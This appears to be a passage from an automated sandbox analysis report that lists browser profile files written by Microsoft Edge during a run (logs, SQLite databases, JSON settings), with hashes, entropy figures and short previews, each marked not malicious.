Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.227252715901664
Encrypted:	false
SSDEEP:	12:6LN+v4YebvqBZFUt8vr/+vZQ3V5LYebvqBaJ:S64Yebvyg89LYebvL
MD5:	E5003EA7844BEFD97AC64A08687166DF
SHA1:	C4EC20B82F4CF5D9350BDD60F81330AECC85FF90
SHA-256:	8543452E8B8F4EC963E60836DD6BDF1BD950B01609F0CDCA3B8275FBBFBA7D3A
SHA-512:	FD2EBBC67C77683A267B370FE4275A36C33CE97A0637612B933B9AC610A63B7C37D9FF9D8C07FC426183B355012DAFFCCFBC0151F5BA4C6CC27E21B0F8BD10F7
Malicious:	false
Preview:	2024/10/30-18:11:48.517 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-18:11:48.519 1d2c Recovering log #3.2024/10/30-18:11:48.523 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.227252715901664
Encrypted:	false
SSDEEP:	12:6LN+v4YebvqBZFUt8vr/+vZQ3V5LYebvqBaJ:S64Yebvyg89LYebvL
MD5:	E5003EA7844BEFD97AC64A08687166DF
SHA1:	C4EC20B82F4CF5D9350BDD60F81330AECC85FF90
SHA-256:	8543452E8B8F4EC963E60836DD6BDF1BD950B01609F0CDCA3B8275FBBFBA7D3A
SHA-512:	FD2EBBC67C77683A267B370FE4275A36C33CE97A0637612B933B9AC610A63B7C37D9FF9D8C07FC426183B355012DAFFCCFBC0151F5BA4C6CC27E21B0F8BD10F7
Malicious:	false
Preview:	2024/10/30-18:11:48.517 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-18:11:48.519 1d2c Recovering log #3.2024/10/30-18:11:48.523 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.12697297585297
Encrypted:	false
SSDEEP:	6:6pEIq2P923oH+TcwtpIFUt8vFZmw+vXkwO923oH+Tcwta/WLJ:6Lv4YebmFUt8vF/+vX5LYebaUJ
MD5:	21E0ECB86C0508E75A97DCA4BA4CB2F9
SHA1:	2B7B98D0CD975DD02F788E5A378A433B08BBB0A6
SHA-256:	6B0FDFAE715FC26B33E76705A5E61E7982ADFE1E3448AE848E37B46902C1D052
SHA-512:	5F96F27C3854D7A9A148770C85C1EAF21AF37B5BFB8D8F78391623B840224F432B7DF2C7F18CF48E62C58C3D9E3942C998E9018667AD0785879C1D954DB861D5
Malicious:	false
Preview:	2024/10/30-18:11:29.930 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-18:11:29.931 1c10 Recovering log #3.2024/10/30-18:11:29.931 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.12697297585297
Encrypted:	false
SSDEEP:	6:6pEIq2P923oH+TcwtpIFUt8vFZmw+vXkwO923oH+Tcwta/WLJ:6Lv4YebmFUt8vF/+vX5LYebaUJ
MD5:	21E0ECB86C0508E75A97DCA4BA4CB2F9
SHA1:	2B7B98D0CD975DD02F788E5A378A433B08BBB0A6
SHA-256:	6B0FDFAE715FC26B33E76705A5E61E7982ADFE1E3448AE848E37B46902C1D052
SHA-512:	5F96F27C3854D7A9A148770C85C1EAF21AF37B5BFB8D8F78391623B840224F432B7DF2C7F18CF48E62C58C3D9E3942C998E9018667AD0785879C1D954DB861D5
Malicious:	false
Preview:	2024/10/30-18:11:29.930 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-18:11:29.931 1c10 Recovering log #3.2024/10/30-18:11:29.931 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2646876088033638
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMhSAELyKOMq+8yC8F/YfU5m+OlTLVumo:Bq+n0Jh9ELyKOMq+8y9/Owj
MD5:	EEB93AF0DF1A7419C98827BCC480802C
SHA1:	D8DA99A7EED4AE0B9D7D61D8F4F842F21DAD8AB0
SHA-256:	EC2550CC015167CE11D4B4AB25D9AF016FD362B6D22EB508C3FF6A088B94363E
SHA-512:	F024F7B81A0B9508CAD5ED30F215811998C9ECCDA44A5BAECBFC8FBEC43B849EA67621B21A6AE5384B14CC796CE316F649E6B2806F08E65DFB83DDC604704CBC
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4663638292896475
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0iJ:v7doKsKuKZKlZNmu46yjx0M
MD5:	1B90A4356B2E6D29271C4E5CE1397308
SHA1:	423E3FE3D830983FFA06461E57454AD2BE5CF98D
SHA-256:	5E78B9025BDF02E0AC1376B69A3257AEC8D6D3320E725D06180C97369076804B
SHA-512:	540AB3CE8D6DA96E0ED9FD4000ED4E0A6D4E09EDE3C89FE53FEF317962E813DFEAA9D264CD2D4807694020FACD5F0528504991952D79183A392D1490638D8A3D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b514cf60-c404-4595-b862-92c5dcdc4c5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e1477b13-5d4e-42c8-af84-f85e5e369ee0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566286983811487
Encrypted:	false
SSDEEP:	768:r9Edf5VV7pLGLplYWPQ2fDi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjguBrKRUrwOL:rap5VjcplYWPQ2fDiu1ja+TBeRN0tJ
MD5:	2D3AD2F038DFDA613AFBA01ACFA27A2B
SHA1:	ECDE8719D28BF4F3ECBE7D2099350C894830C8BB
SHA-256:	29C745656983874AEE9844BC4406394B80BD853E4B2876B07DD5F21EF55DE565
SHA-512:	DDAE74127245BB9644A2588D8D51AC2B6E27D9ED20860914B13EEC7897671ECD96FF019DE779AA0F8A70D1E066A307509A344F8D55A546132E5EB6B4CB6C7BFE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374799889911537","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374799889911537","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10530467451924695
Encrypted:	false
SSDEEP:	12:JntQVcntQFpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntQ6ntQDoPnnnnnnnnnnnnvHj
MD5:	101A8F4C4D0C409236DE8A9497A16403
SHA1:	74D72B6F27B6294A61FFA0A79F814EE0A28BC413
SHA-256:	1A344551581EE84878D549D4363DFE8D090DAF1210DFBC32F1EB2711806740D9
SHA-512:	D3AB367DF82B2BA07AE45C7E0DCAA60B57B8B32BEA145062154E0D6ED55DF8285E05BA64674FF7BB34E33872A8880AD7DAA396ADF8F8C1DBCED10E9B1E903AB7
Malicious:	false
Preview:	..-.............Q.......>..,...Q.4..}...t.C.+...-.............Q.......>..,...Q.4..}...t.C.+.........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9328611045141261
Encrypted:	false
SSDEEP:	384:G264Mwqqo2cTUQhm/J4KLa4GeU+hylykyDyOy5p5yYxycew:c4Mwqp1Q35lq1p
MD5:	D00F7431AAD639FABB06C9FCF80BC689
SHA1:	8D5F36EE9D86FDA60337ABA7FAC7106C99F49848
SHA-256:	94A3B51EB3F9A22D3BFF6AAFB7BB6007B7CAB8765B6BA2B1D2FE166CE6FC8464
SHA-512:	1B8EFD307E85F61E122B6C82E28494560FC6F204585D83105F5964D18428FBE9D5F15C0907062079F84C39EA7759A2DF7E80190CFE9D5F22C3CFC9E37D68C87D
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.561743127538235
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuwillHE8S:iDmlo
MD5:	67521958DF36D6A124A276EFF4BC32F2
SHA1:	DC2E38D43883A91FAB27E2F304EED9006FB5B9F8
SHA-256:	CD62305326F0A29E4EF46636A56BFF976C12A7AE0E840CD37F5FE4C3B7257498
SHA-512:	924B91D664F58B04439BAE1181D120FB14A0EE1BFFC83BC6D19A325C8C27A49F85CEBAC577AC387204E404E0FC8CF8624CBD75990AA9DC56390D387EF9559A30
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............5!52;...............#38_h.......6.Z..W.F.....3@......3@...........V.e................V.e................V.e.................>.?0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.182207747178634
Encrypted:	false
SSDEEP:	6:6ZON+q2P923oH+TcwtfrK+IFUt8vjZmw+vTVkwO923oH+TcwtfrUeLJ:6kIv4Yeb23FUt8vj/+v55LYeb3J
MD5:	07F804C27B77E3C45AD1D81DB26F12FE
SHA1:	26F76280CAC77DA534F5FE2B3A8C6D0AD7086BF3
SHA-256:	4174FDB9FF46377D7553EF0FBFB2E0932D9A8FFD4EEBD1685476DAAD743A9238
SHA-512:	07BA598B9A1653F3BBD4866A1EFA1D27EE0EA11CDB3ED8776B59C9133B2E03BBB2D7D99CC60F27108F10C006BC22FAA36EF4B860A451C20DB7F0A6ED94032515
Malicious:	false
Preview:	2024/10/30-18:11:30.594 1a18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-18:11:30.595 1a18 Recovering log #3.2024/10/30-18:11:30.595 1a18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.182207747178634
Encrypted:	false
SSDEEP:	6:6ZON+q2P923oH+TcwtfrK+IFUt8vjZmw+vTVkwO923oH+TcwtfrUeLJ:6kIv4Yeb23FUt8vj/+v55LYeb3J
MD5:	07F804C27B77E3C45AD1D81DB26F12FE
SHA1:	26F76280CAC77DA534F5FE2B3A8C6D0AD7086BF3
SHA-256:	4174FDB9FF46377D7553EF0FBFB2E0932D9A8FFD4EEBD1685476DAAD743A9238
SHA-512:	07BA598B9A1653F3BBD4866A1EFA1D27EE0EA11CDB3ED8776B59C9133B2E03BBB2D7D99CC60F27108F10C006BC22FAA36EF4B860A451C20DB7F0A6ED94032515
Malicious:	false
Preview:	2024/10/30-18:11:30.594 1a18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-18:11:30.595 1a18 Recovering log #3.2024/10/30-18:11:30.595 1a18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1503852847501586
Encrypted:	false
SSDEEP:	6:66FN+q2P923oH+TcwtfrzAdIFUt8vlW5Zmw+vlWtVkwO923oH+TcwtfrzILJ:6nv4Yeb9FUt8vA5/+vAT5LYeb2J
MD5:	E54F16AD10A81B460CADD3AE6829C6BA
SHA1:	D686D0F25FF627E0705FABC34D7A0D10EDFE977B
SHA-256:	C48982782A063AB38ADB432BFDFE28085BCE1A8E1D1BBE59991CB6113FC82F7C
SHA-512:	61E58DE0C802B930B27123E189B14EE3B82D619FAF08C92F136416BEC1014C1E8CB9954CE7C0CE5D77869392DD2FFCCF87E9061ACC4AB756CBE1C29652A57864
Malicious:	false
Preview:	2024/10/30-18:11:30.589 1a18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-18:11:30.590 1a18 Recovering log #3.2024/10/30-18:11:30.590 1a18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1503852847501586
Encrypted:	false
SSDEEP:	6:66FN+q2P923oH+TcwtfrzAdIFUt8vlW5Zmw+vlWtVkwO923oH+TcwtfrzILJ:6nv4Yeb9FUt8vA5/+vAT5LYeb2J
MD5:	E54F16AD10A81B460CADD3AE6829C6BA
SHA1:	D686D0F25FF627E0705FABC34D7A0D10EDFE977B
SHA-256:	C48982782A063AB38ADB432BFDFE28085BCE1A8E1D1BBE59991CB6113FC82F7C
SHA-512:	61E58DE0C802B930B27123E189B14EE3B82D619FAF08C92F136416BEC1014C1E8CB9954CE7C0CE5D77869392DD2FFCCF87E9061ACC4AB756CBE1C29652A57864
Malicious:	false
Preview:	2024/10/30-18:11:30.589 1a18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-18:11:30.590 1a18 Recovering log #3.2024/10/30-18:11:30.590 1a18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090769654010263
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF6Stbz8hu3VlXr4CRo1
MD5:	62A3FA14D0B3AC7C6BF3B5FD810ABFBF
SHA1:	A54630F0AE291419CFF225370313687F428084CC
SHA-256:	7977805D3A2CD0E7D76CCB9052F8063AA200B273DAD1A8A37290D69C46D0BA93
SHA-512:	8983EB7238FAD05C0BE798B99BB4CEECDD84E3D82EFB20ED69CECF489602E1592F48898E6A3850D97976E7E5AC1B22CC15B24EE1109128F99B35F9856DC480CE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38e08.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090769654010263
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF6Stbz8hu3VlXr4CRo1
MD5:	62A3FA14D0B3AC7C6BF3B5FD810ABFBF
SHA1:	A54630F0AE291419CFF225370313687F428084CC
SHA-256:	7977805D3A2CD0E7D76CCB9052F8063AA200B273DAD1A8A37290D69C46D0BA93
SHA-512:	8983EB7238FAD05C0BE798B99BB4CEECDD84E3D82EFB20ED69CECF489602E1592F48898E6A3850D97976E7E5AC1B22CC15B24EE1109128F99B35F9856DC480CE
Malicious:	false
